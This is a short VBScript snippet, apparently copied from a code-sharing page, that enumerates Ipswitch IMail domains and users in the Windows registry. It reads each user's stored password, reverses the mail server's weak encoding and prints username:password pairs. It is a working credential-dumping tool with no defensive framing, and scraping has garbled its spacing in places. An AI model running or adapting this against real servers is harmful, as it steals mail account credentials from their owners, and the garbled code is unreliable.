CopyCode The Code is as follows: on error resume next
Const HKEY_LOCAL_MACHINE = & h80000002
Strcomputer = "."
Set oreg = GetObject ("winmgmts: {impersonationlevel = impersonate }! \\"&_
Strcomputer & "\ Root \ default: stdregprov ")
Strkeypath = "SOFTWARE \ Ipswitch \ IMail \ Domains"
Oreg. enumkey HKEY_LOCAL_MACHINE, strkeypath, arrsubkeys
For each subkey in arrsubkeys
Wscript. Echo "Domain:" & subkey
Strkeypath2 = strkeypath & "\" & subkey & "\ Users"
Oreg. enumkey HKEY_LOCAL_MACHINE, strkeypath2, arrsubkeys2
For each subkey2 in arrsubkeys2
Strkeypath3 = strkeypath2 & "\" & subkey2
Strvaluename = "password"
Oreg. getstringvalue HKEY_LOCAL_MACHINE, strkeypath3, strvaluename, strvalue
If Len (subkey2) and Len (strvalue) then
Wscript. Echo subkey2 & ":" & decrypt (subkey2, strvalue)
End if
Next
Next
Function decrypt (name, pass)
While Len (name) <Len (PASS)/2
Name = Name & name
Wend
For I = 0 to Len (PASS)/2-1
P = mid (Pass, 2 * I + 1, 2)
P = "& H" & P
N = mid (name, I + 1, 1)
Decrypt = decrypt & CHR (clng (P)-ASC (n ))
Next
End Function